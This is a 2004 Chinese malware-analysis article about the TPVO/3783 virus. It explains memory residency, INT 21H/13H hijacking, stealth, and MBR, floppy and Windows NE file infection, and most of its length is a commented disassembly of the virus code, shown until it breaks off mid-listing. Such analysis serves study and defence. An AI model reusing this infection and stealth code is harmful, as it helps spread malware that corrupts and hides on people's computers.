文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页精文荟萃破解文章 → Tpvo/3783 病毒的分析和防治

Tpvo/3783 病毒的分析和防治

时间:2004/10/15 1:02:00来源:本站整理作者:蓝点我要评论(0)

 

病毒介绍:

  TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传染 WINDOWS 文件,使病毒可以在 WINDOWS 执行时驻留内存。 
  该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.OVL.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节, 文件日期被
加上 100 年作为传染标记。
  该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H 读出的磁盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也都是正常的,
但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX 七个程序读出的文件却是带毒的,所以被这些压缩程序压进文件包或用 TELIX 通过调制解调器传到其他地方的文件
是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。
  该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区时隐藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。
当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性,用 DIR 命令可以列出。

病毒分析:

1. 驻留内存及截取中断

  该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留在 UMB中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引导区的传染,
在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,在中断程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办法得到相应子
程序的地址,然后用近调用来执行相应子程序,具体见下:
   ...
   FDC8:4198 8ADC    MOV BL,AH      ;AH 为子功能号
   FDC8:419A D1E3    SHL BX,1      ;放于 BX 中再乘 2
   ...
   FDC8:41EA 2E8B9F9E3E MOV BX,CS:[BX+3E9E] ;3E9E 为各功能地址表的基地址
   FDC8:41EF 36871EEA05 XCHG BX,SS:[05EA]  ;调用地址在 05EA 中
   FDC8:41F4 368E1EEC05 MOV DS,SS:[05EC]
   FDC8:41F9 36FF16EA05 CALL SS:[05EA]    ;调用相应功能的子程序
   ...
病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段的段地址,
再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百
多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒的截取手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工反汇编 INT
21H中断程序都不一定能觉察到异常之处。
  在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址,然后在 BIOS 中随机寻找一个中断号大于
E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计算机中指向病毒
程序的中断向量号都不相同。

2. 传染及其他部分

  病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并不传染,所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病毒才进行传染。
传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中,原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,病毒在传染软
盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时, 病
毒将原引导记录读出送回。
  病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在 57H 读写文
件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件被修改的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染的文件, 病毒
将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任何异常之处。
  当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部,文件开始指针被
指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX 跳转到病毒入口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈指向病毒尾部
200H处。
  下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件的资料很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS 执行部分和
WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS 部分以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE 文件报头, 第
二部分为 "NE" 新格式可执行报头,有关部分说明如下:
  普通 .EXE 文件报头 18H 字   重分配表偏移( WINDOWS 文件必须大于 0040H)
            3CH 双字  "NE" 可执行报头在程序中的偏移
  "NE" 可执行报头   00H 2 字节 "NE" 符号
   (长 40H 字节)   14H 字   程序入口 IP
            16H 字   程序入口段的段地址记录号
            18H 双字  程序初始 SS:SP
            1CH 字   段地址表中的记录数
            22H 字   段地址表在程序中的偏移
            32H 字节  段大小的计数单位 (移位值)
  程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的记录号查段地
址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行。 段地址表中每个记录占用 8 个字节,格式如下:
            00H 字   本段在程序中的偏移 (乘以计数单位)
            02H 字   本段的长度 (单位:字节)
            04H 字   本段的属性
            06H 字   要分配的容量 (单位:字节)
  病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中, 段地址表一般紧接着 "NE" 报头存放,段地址表后面也紧接着其他数据,中间没有多余字节,所
以病毒将整个 "NE" 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下一个新的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改动的数据有:
003CH处的 "NE" 报头偏移减 8,"NE" 报头中 16H 的入口段记录号改为病毒段,1CH 的段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。

2. 病毒源码:

;====================================================================
; DOS 可执行文件入口
;====================================================================
F6C8:0000 0E      PUSH  CS
F6C8:0001 1F      POP   DS
F6C8:0002 E80000    CALL  0005 ;重定位
F6C8:0005 5E      POP   SI
F6C8:0006 83EE05    SUB   SI,+05
F6C8:0009 56      PUSH  SI
F6C8:000A 06      PUSH  ES
F6C8:000B B87F18    MOV   AX,187F ;检测内存驻留
F6C8:000E BB5344    MOV   BX,4453
F6C8:0011 CD21     INT   21   (DOS)
F6C8:0013 81FBA187   CMP   BX,87A1
F6C8:0017 753A     JNZ   0053
F6C8:0019 07      POP   ES		;已驻留
F6C8:001A 5E      POP   SI ;执行原程序
F6C8:001B 0E      PUSH  CS
F6C8:001C 1F      POP   DS
F6C8:001D 8B84870E   MOV   AX,[SI+0E87]
F6C8:0021 E8880B    CALL  0BAC
F6C8:0024 740D     JZ   0033 ;.EXE 文件转 0033
F6C8:0026 48      DEC   AX
F6C8:0027 BF0001    MOV   DI,0100 ;恢复 .COM 文件头 3 字节
F6C8:002A 57      PUSH  DI
F6C8:002B FC      CLD  
F6C8:002C AB      STOSW 
F6C8:002D 8A84890E   MOV   AL,[SI+0E89]
F6C8:0031 AA      STOSB 
F6C8:0032 C3      RET   ;执行原 .COM 文件
F6C8:0033 8CC0     MOV   AX,ES		;重定位 .EXE 文件
F6C8:0035 051000    ADD   AX,0010
F6C8:0038 0384950E   ADD   AX,[SI+0E95]
F6C8:003C 8ED0     MOV   SS,AX
F6C8:003E 8BA4970E   MOV   SP,[SI+0E97]
F6C8:0042 8CC0     MOV   AX,ES
F6C8:0044 051000    ADD   AX,0010
F6C8:0047 03849D0E   ADD   AX,[SI+0E9D]
F6C8:004B 50      PUSH  AX
F6C8:004C FFB49B0E   PUSH  WORD PTR [SI+0E9B]
F6C8:0050 06      PUSH  ES
F6C8:0051 1F      POP   DS
F6C8:0052 CB      RETF   ;执行原 .EXE 文件
;=======================================================================
;驻留内存初始化部分 (调用: 0017)
F6C8:0053 8CC0     MOV   AX,ES
F6C8:0055 48      DEC   AX ;取 MCB
F6C8:0056 E81E00    CALL  0077 ;取最后一块MCB地址
F6C8:0059 E83200    CALL  008E ;驻留内存
F6C8:005C 72BB     JB   0019
F6C8:005E 8ED9     MOV   DS,CX ;截取 INT 2AH
F6C8:0060 B85103    MOV   AX,0351 ;中断到 CS:0351
F6C8:0063 8706A800   XCHG  AX,[00A8] ;由 INT 2AH 继续引导
F6C8:0067 26      ES:
F6C8:0068 A33A04    MOV   [043A],AX ;(转 0351)
F6C8:006B 8CC0     MOV   AX,ES
F6C8:006D 8706AA00   XCHG  AX,[00AA]
F6C8:0071 26      ES:
F6C8:0072 A33C04    MOV   [043C],AX
F6C8:0075 EBA2     JMP   0019 ;执行原程序
;========================================================================
;找最后一块 MCB 地址
;返回 BX = 最后一块MCB段地址
;调用: 0056
F6C8:0077 33FF     XOR   DI,DI
F6C8:0079 8ED8     MOV   DS,AX
F6C8:007B 803D4D    CMP   BYTE PTR [DI],4D
F6C8:007E 7405     JZ   0085 ;非最后一块转 0085
F6C8:0080 803D5A    CMP   BYTE PTR [DI],5A;最后一块返回
F6C8:0083 7508     JNZ   008D
F6C8:0085 8BD8     MOV   BX,AX
F6C8:0087 034503    ADD   AX,[DI+03]
F6C8:008A 40      INC   AX
F6C8:008B EBEA     JMP   0077 ;AX 为下一块 MCB 地址
F6C8:008D C3      RET  
;=========================================================================
;驻留内存子程序
;调用: 0059
F6C8:008E 8EDB     MOV   DS,BX
F6C8:0090 8B4503    MOV   AX,[DI+03]
F6C8:0093 2D3801    SUB   AX,0138 ;截取内存 1380H 字节
F6C8:0096 720E     JB   00A6
F6C8:0098 894503    MOV   [DI+03],AX
F6C8:009B 03D8     ADD   BX,AX
F6C8:009D 43      INC   BX
F6C8:009E 8EC3     MOV   ES,BX
F6C8:00A0 B9C70E    MOV   CX,0EC7 ;移动病毒 0EC7 字节
F6C8:00A3 F3      REPZ ;到内存中
F6C8:00A4 2E      CS:
F6C8:00A5 A4      MOVSB 
F6C8:00A6 C3      RET  
;=====================================================================
; 引导区代码部分
;=====================================================================
F6C8:00A7 FA      CLI  
F6C8:00A8 33DB     XOR   BX,BX
F6C8:00AA 8ED3     MOV   SS,BX
F6C8:00AC BC007C    MOV   SP,7C00
F6C8:00AF 8EC4     MOV   ES,SP ;暂时将病毒读到 7C00:0000
F6C8:00B1 B80802    MOV   AX,0208
F6C8:00B4 B90150    MOV   CX,5001 ;硬盘为 0005
F6C8:00B7 BA0000    MOV   DX,0000 ;软盘为 5001
F6C8:00BA CD13     INT   13   (BIOS Disk)
F6C8:00BC 7200     JB   00BE
F6C8:00BE 06      PUSH  ES
F6C8:00BF 68C300    PUSH  00C3 ;转高端继续执行
F6C8:00C2 CB      RETF  
F6C8:00C3 E82701    CALL  01ED ;随机生成 INT 13H 地址
F6C8:00C6 830EA800FF  OR   WORD PTR [00A8],FFFF ;????
F6C8:00CB 871E4C00   XCHG  BX,[004C]
F6C8:00CF 2E      CS:
F6C8:00D0 891EF800   MOV   [00F8],BX
F6C8:00D4 8CC0     MOV   AX,ES
F6C8:00D6 87064E00   XCHG  AX,[004E] ;截取 INT 13H
F6C8:00DA 0E      PUSH  CS ;到 CS:00FC
F6C8:00DB 1F      POP   DS
F6C8:00DC A3FA00    MOV   [00FA],AX ;保留原 INT 13H 到 00FA
F6C8:00DF C606FF003C  MOV   BYTE PTR [00FF],3C
F6C8:00E4 C60604013C  MOV   BYTE PTR [0104],3C
F6C8:00E9 C6065805E8  MOV   BYTE PTR [0558],E8
F6C8:00EE CD19     INT   19   (BIOS Bootstrap)
;========================================================================
;病毒调用 INT 13H
F6C8:00F0 9C      PUSHF 
F6C8:00F1 FA      CLI  
F6C8:00F2 0E      PUSH  CS
F6C8:00F3 E80100    CALL  00F7
F6C8:00F6 C3      RET  
F6C8:00F7 EA59EC00F0  JMP   F000:EC59
;=========================================================================
; 新 INT 13H 代码部分
;=========================================================================
F6C8:00FC 83C406    ADD   SP,+06
F6C8:00FF EB3D     JMP   013E ===> ;本句代码当病毒从 BOOT 区
F6C8:0101 60      PUSHA  ;引入时为 CMP AL,3D
F6C8:0102 1E      PUSH  DS
F6C8:0103 06      PUSH  ES
F6C8:0104 EB23     JMP   0129 ===> ;本句代码当病毒从 BOOT 区
F6C8:0106 6A00     PUSH  0000 ;引入时为 CMP AL,23
F6C8:0108 1F      POP   DS
F6C8:0109 C41EA800   LES   BX,[00A8]
F6C8:010D 26      ES:
F6C8:010E 803FCF    CMP   BYTE PTR [BX],CF
F6C8:0111 7514     JNZ   0127 ;INT 2AH 不是 IRET
F6C8:0113 2E      CS: ;转 0127 (013B) 执行
F6C8:0114 891E3A04   MOV   [043A],BX
F6C8:0118 2E      CS:
F6C8:0119 8C063C04   MOV   [043C],ES ;设置 BOOT 引入 INT 2A
F6C8:011D C706A8008603 MOV   WORD PTR [00A8],0386 ;到 CS:0386
F6C8:0123 8C0EAA00   MOV   [00AA],CS
F6C8:0127 EB12     JMP   013B
;===========================================================================
F6C8:0129 B80312    MOV   AX,1203
F6C8:012C CD2F     INT   2F   (Multiplex)
F6C8:012E 8CD8     MOV   AX,DS
F6C8:0130 3D1001    CMP   AX,0110  ===> ;本数据由 039B 填入
F6C8:0133 7406     JZ   013B ;为初始化时 MSDOS.SYS 数据段
F6C8:0135 2E      CS:
F6C8:0136 C60604013C  MOV   BYTE PTR [0104],3C
F6C8:013B 07      POP   ES
F6C8:013C 1F      POP   DS
F6C8:013D 61      POPA  
;============================================================================
; 新 INT 13H 代码部分
F6C8:013E 80FC02    CMP   AH,02
F6C8:0141 72B4     JB   00F7
F6C8:0143 80FC03    CMP   AH,03
F6C8:0146 77AF     JA   00F7
F6C8:0148 83F901    CMP   CX,+01
F6C8:014B 75AA     JNZ   00F7
F6C8:014D 0AF6     OR   DH,DH
F6C8:014F 75A6     JNZ   00F7
F6C8:0151 80FA80    CMP   DL,80 ;不是读引导区
F6C8:0154 77A1     JA   00F7 ;转原 INT 13H
F6C8:0156 E897FF    CALL  00F0		;读出引导区
F6C8:0159 7235     JB   0190
F6C8:015B 60      PUSHA 
F6C8:015C 1E      PUSH  DS
F6C8:015D 06      PUSH  ES
F6C8:015E 9C      PUSHF 
F6C8:015F 06      PUSH  ES
F6C8:0160 8BF3     MOV   SI,BX
F6C8:0162 06      PUSH  ES
F6C8:0163 1F      POP   DS
F6C8:0164 BF7711    MOV   DI,1177
F6C8:0167 0E      PUSH  CS
F6C8:0168 07      POP   ES
F6C8:0169 B90001    MOV   CX,0100 ;保存原引导区到
F6C8:016C F3      REPZ ;CS:1177
F6C8:016D A5      MOVSW 
F6C8:016E 0E      PUSH  CS
F6C8:016F 1F      POP   DS
F6C8:0170 BF7711    MOV   DI,1177
F6C8:0173 817D468EC4  CMP   WORD PTR [DI+46],C48E
F6C8:0178 07      POP   ES
F6C8:0179 7518     JNZ   0193 ;未感染转 0193
F6C8:017B B80102    MOV   AX,0201 ;已感染则读出
F6C8:017E 8B4D4C    MOV   CX,[DI+4C] ;原引导区
F6C8:0181 8A7550    MOV   DH,[DI+50]
F6C8:0184 80C108    ADD   CL,08
F6C8:0187 9D      POPF  
F6C8:0188 E865FF    CALL  00F0
F6C8:018B 9C      PUSHF 
F6C8:018C 9D      POPF  
F6C8:018D 07      POP   ES
F6C8:018E 1F      POP   DS
F6C8:018F 61      POPA  
F6C8:0190 CA0200    RETF  0002
;=========================================================================
;病毒传染引导区代码部分
F6C8:0193 0E      PUSH  CS
F6C8:0194 07      POP   ES
F6C8:0195 B90500    MOV   CX,0005
F6C8:0198 0AD2     OR   DL,DL
F6C8:019A 7812     JS   01AE ;硬盘转 01AE
F6C8:019C B80A05    MOV   AX,050A ;传染软盘引导区部分
F6C8:019F B550     MOV   CH,50 ;格式化第 50H 磁道
F6C8:01A1 32F6     XOR   DH,DH
F6C8:01A3 BB4D0E    MOV   BX,0E4D
F6C8:01A6 E847FF    CALL  00F0
F6C8:01A9 7240     JB   01EB
F6C8:01AB B90150    MOV   CX,5001
F6C8:01AE 890EB500   MOV   [00B5],CX
F6C8:01B2 52      PUSH  DX
F6C8:01B3 80E280    AND   DL,80
F6C8:01B6 8916B800   MOV   [00B8],DX
F6C8:01BA 5A      POP   DX
F6C8:01BB B80803    MOV   AX,0308 ;写病毒到磁盘
F6C8:01BE 33DB     XOR   BX,BX
F6C8:01C0 E82DFF    CALL  00F0
F6C8:01C3 7226     JB   01EB
F6C8:01C5 B80103    MOV   AX,0301 ;保存原引导区
F6C8:01C8 BB7711    MOV   BX,1177
F6C8:01CB 80C108    ADD   CL,08
F6C8:01CE E81FFF    CALL  00F0
F6C8:01D1 7218     JB   01EB
F6C8:01D3 C707EB3C   MOV   WORD PTR [BX],3CEB
F6C8:01D7 BEA700    MOV   SI,00A7
F6C8:01DA 8D7F3E    LEA   DI,[BX+3E]
F6C8:01DD B91C00    MOV   CX,001C
F6C8:01E0 F3      REPZ
F6C8:01E1 A4      MOVSB 
F6C8:01E2 B80103    MOV   AX,0301
F6C8:01E5 B90100    MOV   CX,0001
F6C8:01E8 E805FF    CALL  00F0 ;写病毒到引导区
F6C8:01EB EB9F     JMP   018C ;返回调用处
;========================================================================
;随机生成一个 INT 13H 地址
;调用: 00C3 0369
;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码
; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
;   2. 在 0000:04FB 中写下 JMP 原 INT 13
; 再将 INT 13 指向 0000:04FB
F6C8:01ED 33F6     XOR   SI,SI
F6C8:01EF B800F0    MOV   AX,F000
F6C8:01F2 8ED8     MOV   DS,AX
F6C8:01F4 8EC0     MOV   ES,AX
F6C8:01F6 4E      DEC   SI
F6C8:01F7 741F     JZ   0218
F6C8:01F9 803CCD    CMP   BYTE PTR [SI],CD
F6C8:01FC 75F8     JNZ   01F6 ;找一个 INT 代码
F6C8:01FE 3A4401    CMP   AL,[SI+01]
F6C8:0201 73F3     JNB   01F6
F6C8:0203 807C01E0   CMP   BYTE PTR [SI+01],E0
F6C8:0207 73ED     JNB   01F6 ;小于 INT E0 继续找
F6C8:0209 864401    XCHG  AL,[SI+01]
F6C8:020C 864401    XCHG  AL,[SI+01]
F6C8:020F 3A4401    CMP   AL,[SI+01] ;保存 INT 号于 AL 中
F6C8:0212 75E2     JNZ   01F6 ;不在 BIOS 中继续找
F6C8:0214 8BDE     MOV   BX,SI ;保存地址于 BX 中
F6C8:0216 EBDE     JMP   01F6
F6C8:0218 8EDE     MOV   DS,SI
F6C8:021A 3C80     CMP   AL,80 ;在 BIOS 中未找到
F6C8:021C 720C     JB   022A ;INT ?? 代码转 022A
F6C8:021E 2E      CS:
F6C8:021F C606FE0006  MOV   BYTE PTR [00FE],06 ;ADD SP,6
F6C8:0224 B404     MOV   AH,04 ;丢弃 INT XX 之返回地址
F6C8:0226 F6E4     MUL   AH ;AX 为中断向量表中地址
F6C8:0228 EB14     JMP   023E
F6C8:022A 2E      CS:
F6C8:022B C606FE0000  MOV   BYTE PTR [00FE],00
F6C8:0230 6A00     PUSH  0000
F6C8:0232 1F      POP   DS ;在 0000:04FB 中写下
F6C8:0233 1E      PUSH  DS ;代码 JMP CS:00FC
F6C8:0234 07      POP   ES
F6C8:0235 BBFB04    MOV   BX,04FB
F6C8:0238 C607EA    MOV   BYTE PTR [BX],EA
F6C8:023B B8FC04    MOV   AX,04FC
F6C8:023E 2E      CS:
F6C8:023F A34502    MOV   [0245],AX
F6C8:0242 EB00     JMP   0244
F6C8:0244 BE0003    MOV   SI,0300 ;值由上决定
F6C8:0247 C704FC00   MOV   WORD PTR [SI],00FC
F6C8:024B 8C4C02    MOV   [SI+02],CS ;设新 INT 13H 向量
F6C8:024E C3      RET   ;到 CS:00FC
;==========================================================================
F6C8:024F 50      PUSH  AX ;不详
F6C8:0250 51      PUSH  CX
F6C8:0251 52      PUSH  DX
F6C8:0252 B91000    MOV   CX,0010
F6C8:0255 F7E1     MUL   CX
F6C8:0257 8BCA     MOV   CX,DX
F6C8:0259 92      XCHG  AX,DX
F6C8:025A B80700    MOV   AX,0007
F6C8:025D CD31     INT   31   (DPMI API)
F6C8:025F 5A      POP   DX
F6C8:0260 59      POP   CX
F6C8:0261 58      POP   AX
F6C8:0262 C3      RET  
;==========================================================================
; WINDOWS 文件开始执行入口
;==========================================================================
F6C8:0263 60      PUSHA
F6C8:0264 1E      PUSH  DS
F6C8:0265 06      PUSH  ES
F6C8:0266 E80000    CALL  0269 ;重定位
F6C8:0269 5E      POP   SI
F6C8:026A 81EE6902   SUB   SI,0269
F6C8:026E B87F18    MOV   AX,187F ;内存驻留校验
F6C8:0271 BB5344    MOV   BX,4453
F6C8:0274 CD21     INT   21   (DOS)
F6C8:0276 81FBA187   CMP   BX,87A1
F6C8:027A 7503     JNZ   027F ;已驻留转 0328
F6C8:027C E9A900    JMP   0328
F6C8:027F 33C0     XOR   AX,AX ;
F6C8:0281 B90100    MOV   CX,0001
F6C8:0284 CD31     INT   31   (DPMI API)
F6C8:0286 93      XCHG  AX,BX
F6C8:0287 B80800    MOV   AX,0008
F6C8:028A CD31     INT   31   (DPMI API)
F6C8:028C 40      INC   AX
F6C8:028D B1F2     MOV   CL,F2
F6C8:028F CD31     INT   31   (DPMI API)
F6C8:0291 8EDB     MOV   DS,BX
F6C8:0293 B452     MOV   AH,52
F6C8:0295 CD21     INT   21   (DOS)
F6C8:0297 26      ES:
F6C8:0298 8B47FE    MOV   AX,[BX-02]
F6C8:029B 33FF     XOR   DI,DI
F6C8:029D 33D2     XOR   DX,DX
F6C8:029F 8CDB     MOV   BX,DS
F6C8:02A1 E8ABFF    CALL  024F
F6C8:02A4 803D4D    CMP   BYTE PTR [DI],4D
F6C8:02A7 7405     JZ   02AE
F6C8:02A9 803D5A    CMP   BYTE PTR [DI],5A
F6C8:02AC 7521     JNZ   02CF
F6C8:02AE 8BE8     MOV   BP,AX
F6C8:02B0 8B4508    MOV   AX,[DI+08]
F6C8:02B3 0D2020    OR   AX,2020
F6C8:02B6 3D7769    CMP   AX,6977
F6C8:02B9 750C     JNZ   02C7
F6C8:02BB 8B450A    MOV   AX,[DI+0A]
F6C8:02BE 0C20     OR   AL,20
F6C8:02C0 3D6E00    CMP   AX,006E
F6C8:02C3 7502     JNZ   02C7
F6C8:02C5 8BD5     MOV   DX,BP
F6C8:02C7 8BC5     MOV   AX,BP
F6C8:02C9 034503    ADD   AX,[DI+03]
F6C8:02CC 40      INC   AX
F6C8:02CD EBD0     JMP   029F
F6C8:02CF 95      XCHG  AX,BP
F6C8:02D0 E87CFF    CALL  024F
F6C8:02D3 816D033801  SUB   WORD PTR [DI+03],0138
F6C8:02D8 034503    ADD   AX,[DI+03]
F6C8:02DB 40      INC   AX
F6C8:02DC E870FF    CALL  024F
F6C8:02DF 8EC3     MOV   ES,BX
F6C8:02E1 95      XCHG  AX,BP
F6C8:02E2 B80A00    MOV   AX,000A
F6C8:02E5 8CCB     MOV   BX,CS
F6C8:02E7 CD31     INT   31   (DPMI API)
F6C8:02E9 8ED8     MOV   DS,AX
F6C8:02EB B97D0E    MOV   CX,0E7D
F6C8:02EE F3      REPZ
F6C8:02EF A4      MOVSB 
F6C8:02F0 8CDB     MOV   BX,DS
F6C8:02F2 91      XCHG  AX,CX
F6C8:02F3 E859FF    CALL  024F
F6C8:02F6 B85103    MOV   AX,0351
F6C8:02F9 8706A800   XCHG  AX,[00A8]
F6C8:02FD 26      ES:
F6C8:02FE A33A04    MOV   [043A],AX
F6C8:0301 55      PUSH  BP
F6C8:0302 872EAA00   XCHG  BP,[00AA]
F6C8:0306 26      ES:
F6C8:0307 892E3C04   MOV   [043C],BP
F6C8:030B 5D      POP   BP
F6C8:030C 92      XCHG  AX,DX
F6C8:030D 0BC0     OR   AX,AX
F6C8:030F 7417     JZ   0328
F6C8:0311 E83BFF    CALL  024F
F6C8:0314 B83003    MOV   AX,0330
F6C8:0317 87061A00   XCHG  AX,[001A]
F6C8:031B 26      ES:
F6C8:031C A34D03    MOV   [034D],AX
F6C8:031F 872E1C00   XCHG  BP,[001C]
F6C8:0323 26      ES:
F6C8:0324 892E4F03   MOV   [034F],BP
F6C8:0328 07      POP   ES
F6C8:0329 1F      POP   DS
F6C8:032A 61      POPA  
F6C8:032B EA0000FFFF  JMP   FFFF:0000
F6C8:0330 50      PUSH  AX
F6C8:0331 1E      PUSH  DS
F6C8:0332 6A00     PUSH  0000
F6C8:0334 1F      POP   DS
F6C8:0335 B88603    MOV   AX,0386
F6C8:0338 8706A800   XCHG  AX,[00A8]
F6C8:033C 2E      CS:
F6C8:033D A33A04    MOV   [043A],AX
F6C8:0340 8CC8     MOV   AX,CS
F6C8:0342 8706AA00   XCHG  AX,[00AA]
F6C8:0346 2E      CS:
F6C8:0347 A33C04    MOV   [043C],AX
F6C8:034A 1F      POP   DS
F6C8:034B 58      POP   AX
F6C8:034C EAB1022805  JMP   0528:02B1
;==========================================================================
; 文件驻留引入 INT 2A 代码部分
; 初始化时使用
;==========================================================================
F6C8:0351 60      PUSHA 
F6C8:0352 1E      PUSH  DS
F6C8:0353 06      PUSH  ES
F6C8:0354 2E      CS:
F6C8:0355 C606FF00EB  MOV   BYTE PTR [00FF],EB ;INT 13H
F6C8:035A 2E      CS: ;不检测
F6C8:035B C60658053D  MOV   BYTE PTR [0558],3D ;INT 21H 不检测
F6C8:0360 B80016    MOV   AX,1600 ;WINDOWS 增强模式检验
F6C8:0363 CD2F     INT   2F
F6C8:0365 0AC0     OR   AL,AL
F6C8:0367 7505     JNZ   036E ;WINDOWS 运行转 036E
F6C8:0369 E881FE    CALL  01ED ;随机生成 INT 13H 地址
F6C8:036C EB03     JMP   0371
F6C8:036E E8B9FE    CALL  022A ;随机生成 INT 13H 地址
F6C8:0371 B80013    MOV   AX,1300 ;取得原 INT 13H 地址
F6C8:0374 8BD3     MOV   DX,BX ;并设置新 INT 13H 地址
F6C8:0376 06      PUSH  ES
F6C8:0377 1F      POP   DS ;INT 2F 之 1300 功能
F6C8:0378 CD2F     INT   2F ;入口 ES:BX 及 DS:DX
F6C8:037A 2E      CS: ;为新 INT 13H 地址
F6C8:037B 8916F800   MOV   [00F8],DX ;出口 ES:BX 及 DS:DX
F6C8:037F 2E      CS: ;为旧 INT 13H 地址
F6C8:0380 8C1EFA00   MOV   [00FA],DS
F6C8:0384 EB03     JMP   0389 ;转截取 INT 21H (0389)
;==========================================================================
;BOOT 引导驻留引入 INT 2A 入口
F6C8:0386 60      PUSHA 
F6C8:0387 1E      PUSH  DS
F6C8:0388 06      PUSH  ES
;==========================================================================
;截取 INT 21H 代码部分
F6C8:0389 B80312    MOV   AX,1203 ;取 MSDOS.SYS 数据段地址
F6C8:038C CD2F     INT   2F ;返回段地址 = DS
F6C8:038E 8CD8     MOV   AX,DS
F6C8:0390 8CD6     MOV   SI,SS
F6C8:0392 2BF0     SUB   SI,AX
F6C8:0394 7403     JZ   0399 ;在 MSDOS.SYS 中执行
F6C8:0396 E99D00    JMP   0436 ;转 0399, 否则退出
F6C8:0399 0E      PUSH  CS
F6C8:039A 1F      POP   DS
F6C8:039B A33101    MOV   [0131],AX
F6C8:039E C606C00DEB  MOV   BYTE PTR [0DC0],EB
F6C8:03A3 C6060401EB  MOV   BYTE PTR [0104],EB
F6C8:03A8 C4063A04   LES   AX,[043A]
F6C8:03AC 8EDE     MOV   DS,SI
F6C8:03AE A3A800    MOV   [00A8],AX
F6C8:03B1 8C06AA00   MOV   [00AA],ES ;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC     MOV   BP,SP
F6C8:03B7 8E5E16    MOV   DS,[BP+16] ;调用代码段
F6C8:03BA 83FE80    CMP   SI,-80 ;为 INT 21 的代码段
F6C8:03BD 7777     JA   0436
F6C8:03BF AC      LODSB 
F6C8:03C0 3C2E     CMP   AL,2E ;找 2E 8B 9F xx xx
F6C8:03C2 75F6     JNZ   03BA ;即 MOV BX,CS:[BX+xxxx]
F6C8:03C4 AD      LODSW 
F6C8:03C5 3D8B9F    CMP   AX,9F8B
F6C8:03C8 75F0     JNZ   03BA
F6C8:03CA AD      LODSW  ;此地址为 INT 21 功能=>子程序
F6C8:03CB 2E      CS: ;转换表基址
F6C8:03CC A35111    MOV   [1151],AX ;保存地址于 1151
F6C8:03CF B93000    MOV   CX,0030
F6C8:03D2 4E      DEC   SI
F6C8:03D3 AD      LODSW 
F6C8:03D4 3D871E    CMP   AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx])
F6C8:03D7 E0F9     LOOPNE 03D2
